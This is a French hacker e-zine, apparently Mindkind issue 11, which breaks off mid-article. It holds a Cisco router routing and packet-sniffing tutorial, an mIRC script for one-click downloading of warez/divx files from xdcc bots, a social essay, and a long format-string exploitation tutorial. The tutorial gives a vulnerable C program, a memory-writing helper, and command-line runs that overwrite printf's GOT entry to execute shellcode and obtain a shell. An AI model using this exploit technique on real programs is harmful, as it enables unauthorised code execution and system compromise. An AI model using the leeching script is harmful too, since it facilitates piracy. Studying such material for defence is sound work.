remettre son interface  "ON"... ;-)

Bon.. j'ai pens longuement (2 gorges  de bires, ~6 chips) a qu'est-ce  qu'on
pourrait faire  d'autre.. Ya  juste 2 choses qui me viennent en tte, faire une
route ip, et sniffer.

route ip in a nutshell :
on rentre dans le mode "configure terminal" (conf t)
ip route destination destinationmask ?
JessicaAlba(config)#ip route 1.1.1.0 255.255.255.0 ?
  A.B.C.D             Forwarding router's address
  Async               Async interface
  BVI                 Bridge-Group Virtual Interface
  CTunnel             CTunnel interface
  Dialer              Dialer interface
  FastEthernet        FastEthernet IEEE 802.3
  Lex                 Lex interface
  Loopback            Loopback interface
  Multilink           Multilink-group interface
  Null                Null interface
  Tunnel              Tunnel interface
  Vif                 PGM Multicast Host interface
  Virtual-FrameRelay  Virtual Frame Relay interface
  Virtual-Template    Virtual Template interface
  Virtual-TokenRing   Virtual TokenRing
ici on voit le help pour la suite..
en gros pour que notre router sache qui faut qu'il envoie au router 2.2.2.2
les packets destins au network 1.1.1.0 on marque :
ip route 1.1.1.0 255.255.255.0 2.2.2.2 
et c'est tout..
on peut aussi spcifier une interface, ou carrment discarter :
ip route 1.1.1.0 255.255.255.0 fastEthernet 0/0.133
ip route 1.1.1.0 255.255.255.0 null 0 

Bon, maintenant.. sniffons.
N'oublier pas que ctun router, pis que sniffer sur un router c'est facile :
JessicaAlba#terminal monitor
JessicaAlba#debug ip packet 
IP packet debugging is on
IP: s=10.10.179.255 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 229, rcvd 3
IP: s=10.10.108.155 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 247, rcvd 3
IP: s=10.10.180.250 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 240, rcvd 3

ouhh
c cute
JessicaAlba#debug ip packet detail 
IP packet debugging is on (detailed)
JessicaAlba#
IP: s=10.10.194.222 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 263, rcvd 3
    UDP src=138, dst=138
IP: s=10.10.125.124 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 239, rcvd 3
    UDP src=138, dst=138

Mais disont que je m'en fou du FastEthernet0/1..
JessicaAlba#debug interface fastEthernet 0/0.133 
Condition 1 set

Donc l, quand je vais faire debug ip packet detail, je vais avoir juste ce qui
passe par 0/0.133 (plus les loopbacks a dlair). Donc, si je ping de ma machine
tantt qui est  cot de mon router a me donne :
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 100, rcvd 4
    ICMP type=8, code=0
IP: s=113.100.1.6 (local), d=113.100.4.88, len 100, cef process switched
    ICMP type=0, code=0
IP: s=113.100.1.6 (local), d=113.100.4.88 (FastEthernet0/0.133), len 100, sending
    ICMP type=0, code=0
pour un ti ping

Si je telnet Jessica de mon autre machine a me donne :
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 44, rcvd 4
    TCP src=58434, dst=23, seq=273281393, ack=0, win=4128 SYN
IP: s=113.100.1.6 (local), d=113.100.4.88, len 44, cef process switched
    TCP src=23, dst=58434, seq=1702304235, ack=273281394, win=4128 ACK SYN
IP: s=113.100.1.6 (local), d=113.100.4.88 (FastEthernet0/0.133), len 44, sending
    TCP src=23, dst=58434, seq=1702304235, ack=273281394, win=4128 ACK SYN
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 40, rcvd 4
    TCP src=58434, dst=23, seq=273281394, ack=1702304236, win=4128 ACK
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 58, rcvd 4
    TCP src=58434, dst=23, seq=273281394, ack=1702304236, win=4128 ACK PSH
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 40, rcvd 4
    TCP src=58434, dst=23, seq=273281412, ack=1702304236, win=4128 ACK
IP: s=113.100.1.6 (local), d=113.100.4.88, len 52, cef process switched
and so on..
Je pourrais regarder  a avec vous,  mais me semble  que c'est simple?  pour le
ping, y'envoie un ICMP type 0 code 0, pis nous on le process pis on lui renvoie
la rponse mme chose pour la connexion TCP, y nous envoie un SYN, on  process,
on lui envoie un ACK... facile!
(Vous  avez  rien  comprit  de  TCP/SYN/ICMP?  allez lire  mon  autre  article,
Internet++ dans Mindkind10.. hehe)

JessicaAlba#no debug ip packet detail 
IP packet debugging is off (detailed)

Voila maintenant on se fait pu achaler par le debug!
C'est plutt pratique comme commande, mais c'est crissement pas  conseill  sur
une interface  utilise grandement  : printer  le packet  gnre plus  de jus 
envoyer au telnet que le packet lui mme. Alors  moins d'avoir des  conditions
de  filterings  de  l'enfer.. faite  pas  un  debug ip  packet  detail  sur une
interface qui  roule   1gig/sec.. hehe  j'ai jamais  essay de  le faire, donc
jpeux pas vous dire si Cisco a mit une protection.. mais a m'tonnerait :-)

Bon ben, c'est tout le temps que j'ai  mettre sur ces belles machines la..  Si
vous voulez taponner sur  une machine, le moyen  le plus facile c'est  dans les
coles qui donnent les cours de Cisco, ils ont des chances d'avoir des  2600 et
des switchs. Par contre pour le GSR, ya que les backbones sur Internet qui  ont
a, ou les compagnies qui ont des mautadis gros network locaux...


JessicaAlba# exit

au revoir Jessica ;-)

                                                                    - LastCall_


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /               lastcall@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'
	  
	  
	  


      Tann de taguer vos xdcc a main ? Tann des quotas de Vidotron ? Et
      bien le script mIRC suivant va au moins rgler un de vos 2 problmes. 
      Effectivement, vous allez maintenant pouvoir downloader  partir d'un
      xdcc en un seul double click (dsoler pour les nafs qui croyaient
      pouvoir dire adieu  leurs quota).
      
------------------------------- 8< cut here 8< -------------------------------

------- remote ---------

on *:TEXT:*:#: {
  if ($chr(35) isin $1) {
    if (%wleech) {
      aline @warez-divx $nick $1 $4-
    }
  }
}

menu @warez-divx {
dclick: %wleechtxt = $sline(@warez-divx,1) | wleech %wleechtxt
}  
      

------- popups ---------
n1=-=Leech=-
n2=.warez/divx
n3=..$iif(!%wleech,activate):%wleech = on | window -lR @warez-divx 
n4=..$iif(%wleech,desactivate):unset %wleech
n5=..-

------------------------------- >8 cut here >8 -------------------------------





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.07 Le petit guide de l'introspection                \        \     !
     .             d'une assemble d'illusions                 \        \    .
     ;       aka Le mirroir de l'volution                      \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Aprs la roue, la vie paisible s'tait tablie dans les terres de ce monde sans
frontire. L'expansion ne s'arrtait pas ni mme la progression  technologique.
La roue, puis la charrette, puis l'invention des chevaux ! Peut importe l'ordre
chronologique des inventions, une chose est sre, l'homme se croit matre de ce
que ses sens peroivent. S'il tait capable de toucher  sa femme, et bien elle
tait sienne. S'il pouvait tuer son  ennemi, alors son me devenait sienne.  Ce
qu'il ne  pouvait pas  toucher appartenait  au domaine  du mystrieux. L'humain
vnrait  la  Lune,  le  Soleil,  l'horizon.  Son  empire  a  grandit  avec les
dcennies. Il a matris l'eau avec  ses galres plus dangereuses les unes  que
les autres pour aller s'tablir en Inde. La dmographie a augmente, l'conomie
de  mme. Son  estime et  sa grandeur  ont enfls  pour le  mettre au  haut  de
l'chelle alimentaire. Il est le meurtrier, il est le dominant. 

Puis est venu l'poque des fusils. Fini les batailles d'armures, l'intelligence
accrue a apport les guerres de tranches. Guerre Mondiale 1 et Guerre Mondiale
2. L're atomique n'tant plus  la mode, nous sommes rendus avec de  nouvelles
armes. Les McDonalds et ses  drivs prennent d'assaut les territoires  occups
sans que  personne ne  riposte. Nous  en sommes  l. Environ  2000 ans  se sont
coules depuis  la date  inscrite sur  la Bible. Nous sommes  si intelligents.
Chaque enfant a sa tlvision, son gameboy couleur, son ordinateur familial  et
sa connexion haute-vitesse. Que demander de plus  l'volution ? La roue a fait
suffisamment de chemin. Nous  sommes vraiment intelligents. Chaque  matin, tout
le monde se lve  pour assurer la prosprit  des gnrations  venir.  Plus la
cravate est longue, plus  la russite est grande.  La vie roule   son plein et
tout va trop vite selon certains. Un problme se pose. Les dpressions sont  en
nombre  grandissant.  La  marge des  diffrentes  classes  conomiques augmente
affreusement. Le taux de cholestrol devient norme. Ces problmes ne sont plus
des problmes, car nous sommes  des humains intelligents et responsables.  Nous
avons  trouvs une  solution qui  est :  "Engageons des  scientifiques  et  des
chercheurs pour  trouver les  rponses". Ne  voyez-vous pas  toute l'idiotie de
cette  si  brillante ide  ?  Comment faire  grandir  une population  si  cette
population ne fait que consommer et surconsommer ? Ne voyez-vous pas la  grosse
vieille illettre assise sur sa chaise  regarder ses romans savons   longueur
de journe ?  Ne voyez-vous pas  l'alcoolique qui travaille  dans son usine  de
bacon  attendre innocemment  la fin de son  quart ? Et ne  voyez-vous pas tous
ces enfants  drogus qui  ont foi  en la  facilit des  choses, toujours prt 
aller  fter en  demandant un  peu de  sous   leurs parents.  Nous sommes  une
socit d'irrationalit. 

Donner le savoir  la minorit pour que les autres baignent dans l'ignorance et
la prcarit n'apportera  pas grand chose   la soi-disante  volution humaine.
Nous  en sommes  donc ici   se  demander le  rel bienfait  de ces  recherches
incessantes. Les mdecins tentent de faire vivre le plus longtemps les humains,
mais ces  humains auraient-ils  tout simplement  peur de  mourrir ?  L'humain a
peur,  terriblement  peur  du  mystrieux. C'est  pourquoi  il  essaie  de tout
matriser. Autrefois,  il ne  comprenait pas  la Lune,  maintenant il essaie de
voir  plus loin  que la  vie. L'humain  se croit  matre de  ce  que  ses  sens
peroivent, mais il ne se rend pas  compte que c'est tout  fait l'inverse.  Ce
que ses sens peroivent deviennent matre de lui-mme. L'humain s'enchane  ce
monde matriel  parce qu'il  a peur.  Il s'acharne  a essayer  de vivre l'amour
parce  qu'il  dsire  s'attacher   la  vie.  L'volution  est  donc remise  en
question. Aprs avoir  dpass la limite  de la survie,  l'humain n'a cess  de
contrler son monde mais sans s'arrter pour se demander si c'tait ncessaire.
Donc, est-ce rellement ncessaire d'avoir  700 canaux de tlvisions ?  Est-ce
rellement ncessaire de se faire greffer un nouveau foie lorsque le vieux sera
puis ?  Est-ce vraiment  ncessaire de  vivre ?  Vous fuyez  la mort. Dans ce
monde d'illusions, l'humain s'attache  dsesprment  ce qu'il  croit dominer.
Comme dirait  le bon  proverbe des  personnes sans  grandeur : "C'est effrayant
qu'en l'an 2000 a  se produise encore !",  et ce avec toute  l'ironie que cela
apporte. Si  rus et  sournois qu'est  cet humain  qu'il ne  voit mme  pas son
comportement. Ce texte  ne changera rien  parce que l'humain  est dou dans  la
stupidit. Parmis  toute forme  de vie  existante, l'humain  est dcidment  la
moins volue...

Sincrement,

nothing94

web : http://nothing94.250x.com




            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 dieforyoursins@hotmail.com              /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90      
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90      
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90      
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      
      
                            Null si decouvert.      
      
      
      
            
                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.08 Format string attack                             \        \     !
     .             aka                                         \        \    .
     ;       Un trio fmt svp                                    \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

--[ Introduction : 

Dans  un monde  o le  domaine de  la scurit  informatique est  en  constante
volution et o les  progrs se font rapidement,  la guerre de l'information se
droulant entre ceux qui cherchent  pousser le hacking et ceux qui cherchent 
l'liminer est froce.

Les techniques  afin d'escalader  les niveaux  de privilge  ont aussi  chang.
Rappelons-nous les  stack overflows  simple d'antan,  o il  ne  suffisait  que
d'craser notre pointeur d'instruction [1]. Regardons maintenant les techniques
d'aujourd'hui, par  exemple dans  l'exploit de  MaXX, qui  consiste  saisir le
contrle du programme avec l'aide d'un off-by-one heap overflow. [2]

Dans cet article, il sera question de techniques pour faciliter  l'exploitation
d'une erreur  de formatage.   En effet,  lorsque nous  prenons une  attaque par
format string,  plusieurs portes  s'offrent   nous afin  de pouvoir prendre le
contrle du programme.  Il est possible de faciliter le processus de  plusieurs
faons qui  nous aidera   atteindre  l'objectif dsir,  comme par  exemple de
directement crire notre shellcode en mmoire ;) 



--[ Un petit rappel :

Mme si les erreurs de formatage se font de plus en plus rares de nos jours, et
qu'elles  sont  facilement  dtectables  avec  des  outils  d'automatisation de
dtection de  failles, il  reste que  c'est une  faille de  scurit qui  reste
intressante  exploiter.

Afin de  pouvoir contourner  le programme  vulnrable   l'erreur de formatage,
nous devons dfinir les diffrents points de la tche afin de parvenir   notre
objectif. 

- Identifier la faille
- Trouver la distance et le padding pour
  avoir le contrle de notre format string
- Trouver quel endroit en mmoire craser (retloc)
- Trouver la valeur que nous allons craser retloc avec (retadr)
- Btir notre buffer et puis l'injecter.

Avec une telle attaque, il est brivement possible d'crire ce que nous voulons
en mmoire,  ce qui  consquemment nous  laisse un  grand choix  pour saisir le
contrle du programme.  Il existe  plusieurs faon de prendre le  contrle d'un
programme  lorsque  nous avons  un  certain contrle  sur  ce qui  se  passe en
mmoire, que ce soit [3]:

- en crasant des entres dans la Global Offset Table (GOT)
                              afin d'hijacker une fonction, 
- en ajoutant une entre dans la table de destructeurs (.dtors),
- en falsifiant le contenu d'un boundary tag lors d'une
                         allocation dynamique (malloc),
- ou bien tout simplement en crasant EIP/EBP dans un stack frame 
                                        lors d'un stack overflow.



--[ Le problme : 

Lorsque nous essayons d'exploiter et de prendre le contrle d'un tel  programme
au  moyen  d'une  attaque,  le succs  de  l'exploitation  dpend  de plusieurs
paramtres dynamiques (distance,  padding, retloc, retadr).   Dans le pire  des
environnements, il peut tre trs difficile d'obtenir ces paramtres.  

Il est toujours possible de bruteforcer plusieurs de ces valeurs, mais plus  le
nombre  d'offsets   trouver  augmente,  plus le  bruteforce  va tre  long  et
pnible.  Donc lorsqu'il est possible  de diminuer ces valeurs inconnues,  nous
possdons plus de chances pour que notre exploit fonctionne.



--[ Les dtails :

Nous avons dcrit plus haut qu'il  tait possible d'crire ce que nous  voulons
en  mmoire.  Nous  savons aussi  que lorsque  nous exploitons  une  erreur  de
formatage, les deux valeurs les plus importantes  trouver sont quelle  adresse
nous voulons modifier, et avec quelle valeur nous voulons modifier celle-ci.

Ce qui  est intressant   noter,  c'est que  les erreurs  de formatage ne nous
permettent  pas  seulement d'crire  4  bytes en  mmoire.   En effet,  il  est
possible d'crire une chane de  texte de n'importe quelle longueur,  en autant
que notre buffer est assez grand pour contenir notre format string malfique.



--[ Un strcpy improvis

Je vous  prsente ici  une fonction  qui nous  permettra de  gnrer un  format
string qui va crire  un  certain endroit en mmoire une chane  de caractres
de  notre choix.   Vous allez  srement rapidement  comprendre l'utilit  d'une
telle fonction ;)

void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) 

- buffer : Le buffer qui contiendra la format string
- int dist : La distance jusqu'au dbut du buffer que nous contrlons
- int align : Une valeur de 0  3 dfinissant l'alignement sur 4 bytes
- int retloc : L'endroit que o nous voulons crire la string
- char *what : La string que nous voulons placer  retloc
- int mode : 1 pour le mode d'alignement, et 2 pour crire en mmoire.
(le  mode  d'alignement  nous  permet  de  trouver  exactement  la  distance et
l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons  crire
en mmoire; voir code)

	Prenons un simple exemple de code vulnrable.   :

--[ test.c
/*
   coded by g463
*/

#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char *argv[]) {

     char *string = (char *) malloc (1024);

     strcpy (string, "jonny boy!!! ;)");

     printf ("\nRETLOC (Adresse de string) -> 0x%x\n", (int) string);
     printf ("string avant attaque -> %s\n", string);
     printf (argv[1]); // ayoyoyoyoyoyoyoyoye :-P
     printf ("\nstring apres attaque -> %s\n", string); 

     return 1;
}
--] eof 

guaylejs@ariel [~/codez/format_string/mindkind]$ gcc test.c -o test
guaylejs@ariel [~/codez/format_string/mindkind]$ ./test

RETLOC (Adresse de string) -> 0x8049708
string avant attaque -> jonny boy!!! ;)

string apres attaque -> jonny boy!!! ;)
guaylejs@ariel [~/codez/format_string/mindkind]$

Ce que nous voulons faire, c'est  exploiter l'erreur de format afin de  pouvoir
changer la string  que nous allons  imprimer  l'cran  la deuxime fois.   Si,
lors de l'exploitation normale d'une format string nous pouvons crire 4  bytes
et saisir le contrle du programme, alors pourquoi ne pas essayer d'crire  une
chane de caractres au complet  un certain endroit en mmoire ? 

Premirement,  prenons note  de la  valeur de  retour de  la  fonction  malloc.
Malloc nous retourne un  pointeur vers la zone  de mmoire alloue, qui  est en
l'occurrence la zone mmoire que nous voulons aussi craser.  

guaylejs@ariel [~/codez/format_string/mindkind]$ ltrace ./test | grep malloc
malloc(1024)                                      = 0x08049708
guaylejs@ariel [~/codez/format_string/mindkind]$

Donc nous voyons que  la valeur que nous  voulons r-craser en mmoire  est de
0x08049708, c'est--dire notre retloc.

Ensuite, trouvons la distance et le  padding dont nous avons besoin pour  avoir
le contrle sur la chane.  Rappelons-nous que le 'mode 1' est utilise  lorsque
nous voulons  trouver l'alignement  et le  padding, tandis  que le  'mode 2' va
crire  nos valeurs  en mmoire.   Pour trouver  le bon  alignement et  le  bon
padding, nous devons avoir notre search-value, 0x41414141, tout de suite  aprs
le dernier point (.), align sur 4  bytes.  Ce qui va vouloir dire qu'  partir
de maintenant, nous avons le contrle sur notre buffer.  Vous pouvez  retrouver
une copie du code lib.c que j'utilise dans les exemples ainsi que les fonctions
qui gnrent  les format  strings   la fin  de l'article.  Voyons voir, disait
l'aveugle :  

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 110 0 0x8049708 test 1

[debut du  garbage...]

. 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 
8049708.bfffeac8.40038326.       2.bfffeaf4.bfffeb00. 8048540. 
0.bfffeac8.400382f6.40015094.       2. 8048380.bfffeaf4.40038268.40138ac8. 
0. 80483a1. 8048470.       2.bfffeaf4. 80482e4. 
8048540.4000b3c0.bfffeaec.40015634.       2.bfffebf2.bfffebf7. 
0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49. 
bffffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd7
0. 
bffffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3
f.bfffffed. 0.      10.  8001bf.       6.    1000.      11.      64.       3. 
8048034.       4. 20.       5.       6.       7.40000000.       8.       0. 
9. 8048380.   b.     cf6.       c.     cf6.       d.     34d.       e.     34d. 
f.bfffebed.       0.       0.       0.       0.       0.38356900.65740036. 
41007473.be414141. -------------------------------------------------------- ---
---------------^^---------^^^^^^ 8babeba.be080497. 9babeba.be080497. 
ababeba.be080497. bbabeba.be080497. cbabeba 
7722773992e783825 
7796306292e783825     7796306292e783825                     

[fin du garbage...]

Comme nous  le voyons  lors du  output de  notre programme,  notre search value
0x41414141 n'est pas tout a fait  la valeur aprs le dernier point.   La valeur
aprs le  dernier point  est  0xcbabeba.   Essayons maintenant  de creuser plus
profondment dans la stack, avec une plus grande distance :  

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 0 0x8049708 test 1

[debut du garbage...]

. 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 
8049708.bfffeac8.40038326.       2.bfffeaf4.bfffeb00. 8048540. 
0.bfffeac8.400382f6.40015094.       2. 8048380.bfffeaf4.40038268.40138ac8. 
0. 80483a1. 8048470.       2.bfffeaf4. 80482e4. 
8048540.4000b3c0.bfffeaec.40015634.       2.bfffebf2.bfffebf7. 
0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bffffc5c.bffffc79.bffff
c84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bffffd77.bffffd9f.bff
ffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.bfffffed.       0. 
10.  8001bf.       6.    1000.      11.      64.       3. 8048034.       4. 
20.       5.       6.       7.40000000.       8.       0.       9. 8048380. 
b.     cf6.       c.     cf6.       d.     34d.       e.     34d. 
f.bfffebed.       0.       0.       0.       0. 
0.38356900.65740036.41007473.be414141      ------------------------------------
--------------------------------------^^---------^^^^^^
                                                                                                                                                                            146456250be080497                                                                                                                                                                                                                                        163233466be080497     180010682be080497                                                                                               
[fin du garbage...]

Yay ! Nous avons enfin atteint la bonne distance pour rejoindre le dbut du 
buffer que nous contrlons.  Reste maintenant juste  trouver le bon alignement 
pour tre capable d'aligner sur 4 bytes nos donnes.

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 test 1

[debut du garbage...]

. 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 804970
8.bfffeac8.40038326.       2.bfffeaf4.bfffeb00. 8048540.       0.bfffeac8.400382
f6.40015094.       2. 8048380.bfffeaf4.40038268.40138ac8.       0. 80483a1. 8048
470.       2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634.       2.bfff
ebf2.bfffebf7.       0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bff
ffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bf
fffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.b
fffffed.       0.      10.  8001bf.       6.    1000.      11.      64.       3.
 8048034.       4.      20.       5.       6.       7.40000000.       8.       0
.       9. 8048380.       b.     cf6.       c.     cf6.       d.     34d.
e.     34d.       f.bfffebed.       0.       0.       0.       0.       0.383569
00.65740036.2e007473.41414141
---------------------^^^^^^^^

                                            -11619054748049708


                                                    -11619054748049709   -116190


[fin du garbage...]

Finalement, nous avons russi  trouver les bonnes valeurs pour enfin contrler
notre buffer, nous avons trouv comme  distance 101 et comme alignement 1.   De
plus  nous  possdons notre  retloc,  gale   0x8049708.   Essayons maintenant
d'appeler `lib` avec les arguments prcis.  

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib

./lib <dist> <align> <retloc> <what> <mode>

guaylejs@ariel [~/codez/format_string/mindkind]$
guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 "yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P" 2 | grep string
RETLOC (Adresse de string) -> 0x8049708
string avant attaque -> jonny boy!!! ;)
string apres attaque -> yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P
guaylejs@ariel [~/codez/format_string/mindkind]$

Et voil le travail !  Nous avons  modifier une string en mmoire ! C'est  bien
beau tre  capable d'crire  une string  en mmoire,  mais comment cela peut-il
nous faciliter le travail lorsque nous voulons exploiter un programme ?  



--[ crivons le shellcode en mmoire

Nous sommes maintenant capables d'crire  une string en mmoire,   une adresse
que  nous dterminons.   Tout le  monde sait  aussi qu'un  shellcode c'est  une
string.  Donc  si nous  savons   quel endroit  en mmoire  nous pouvons placer
notre string (shellcode), nous savons automatiquement quelle sera la valeur  de
retadr, sans  avoir besoin  de la  bruteforcer.  Nous  allons donc  liminer un
'offset'    bruteforcer,  donc   plus  de  chances  pour   que  l'exploitation
fonctionne.

Plusieurs endroits diffrents s'offrent   nous pour placer notre shellcode  en
mmoire qui  seront valides.  Je vous  en prsente  2 qui  sont intressantes 
travailler.  Pour saisir le contrle de votre EIP, j'utilise l'crasement d'une
entre dans  GOT... Vous  pouvez tout  aussi bien  utiliser une  des techniques
prcdemment mentionnes dans le 'rappel' : 

Prsentons maintenant le prototype de la fonction qui sera utilise pour crire
le shellcode en mmoire :

void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char
*what, int mode);

- buffer : Le buffer qui contiendra la format string
- int dist : La distance jusqu'au dbut du buffer que nous controlons
- int align : Une valeur de 0  3 dfinissant l'alignement sur 4 bytes
- int retloc : L'endroit que o nous voulons crire la string
- int retadr : L'endroit o nous voulons crire le shellcode, et la valeur que
               nous allons craser retloc avec.
- int mode : 1 pour le mode d'alignement, et 2 pour crire en mmoire.
(le  mode  d'alignement  nous  permet  de  trouver  exactement  la  distance et
l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons  crire
en mmoire; voir code)

--[ crivons-le o exactement ?!?!

- Aprs une entre dans la GOT
Ici,  nous  allons craser  une  entre dans  la  GOT d'une  fonction  qui sera
utilise sous  peu aprs  la fonction  de formatage  vulnrable... Nous  allons
faire pointer  l'entre de  la GOT  que nous  avons choisie  avec l'adresse  de
GOT[index de la fonction]  + 4.  C'est vident;  maintenant, au lieu d'avoir  
chercher le 'retadr' qui contient notre shellcode, nous allons nous mme crire
notre  shellcode aprs  l'adresse que  nous avons  trouve, ce  qui limine  la
recherche de notre 'retadr'.  C'est  cet endroit que nous allons placer  notre
shellcode.   Examinons un  peu l'image  de notre  process lorsque  nous  allons
rouler le  programme, et  voir si  nous n'crasons  rien en mmoire d'important
lorsque nous allons insrer notre shellcode.  

Examinons les diffrentes sections lorsqu'elles seront mappes en mmoire [4]:

guaylejs@ariel [~/codez/format_string/mindkind]$ readelf -S ./test
There are 30 section headers, starting at offset 0x29b0:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        080480f4 0000f4 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048108 000108 000020 00   A  0   0  4

[...]	

->[19] .got              PROGBITS        08049620 000620 000028 04  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049648 000648 0000a0 08  WA  5   0  4
  [21] .sbss             PROGBITS        080496e8 0006e8 000000 00   W  0   0  1
  [22] .bss              NOBITS          080496e8 0006e8 000018 00  WA  0   0  4
  [23] .stab             PROGBITS        00000000 0006e8 00078c 0c     24   0  4
  [24] .stabstr          STRTAB          00000000 000e74 0018f7 00      0   0  1
  [25] .comment          PROGBITS        00000000 00276b 0000e4 00      0   0  1

[...]

Donc nous  voyons que  nous avons  un jeu  aprs notre  GOT pour pouvoir crire
notre shellcode, aprs les sections suivantes (.dynamic et .bss) [4].  Si  nous
crasons une de ces 2 sections,  nous n'allons pas modifier le comportement  du
programme d'ici  l'exploitation, car  rien de  critique n'accde   ces donnes
entre l'crasement  de la  GOT et  l'hijack du  programme.  Les sections .stab,
.stabstr et suivantes ne sont pas  mappes en mmoires car elles possdent  une
adresse gale   0x000000000.   Pour l'exemple  que je  vais vous montrer, nous
allons utiliser l'entre de 'printf' dans la GOT :

guaylejs@ariel [~/codez/format_string/mindkind2]$ objdump -R test | grep printf
0804963c R_386_JUMP_SLOT   printf
guaylejs@ariel [~/codez/format_string/mindkind2]$

Nous avons  donc notre  retloc qui  est gale   0x0804963c.   Nous allons donc
placer notre shellcode  0x0804963c+4, donc 0x08049640.


guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib

./lib <dist> <align> <retloc> <retadr> <mode>

guaylejs@ariel [~/codez/format_string/mindkind2]$
guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0x08049640 2

[...]

bash$

Yes sir !  Nous avons russi  l'exploiter...
Essayons maintenant de mettre le shellcode sur la stack...

- Somewhere into the staccccck

Maintenant, essayons d'insrer notre shellcode   un autre endroit en  mmoire.
Plaons-le,  pour  cet  exemple,  directement  sur  la  stack.   Appelons notre
programme de la  mme faon que  prcdemment, mais changeons  l'emplacement de
notre retadr, et d'ainsi l'endroit o notre shellcode va tre entrepos : 
	
guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0xbffffdaa 2

[...]

bash$

Vous commencez srement  piger le concept ! 	

Bref, avec cette technique, le seul  offset que nous avons  trouver,  c'est le
retloc.  Notre shellcode, nous pouvons le placer o nous voulons en mmoire, en
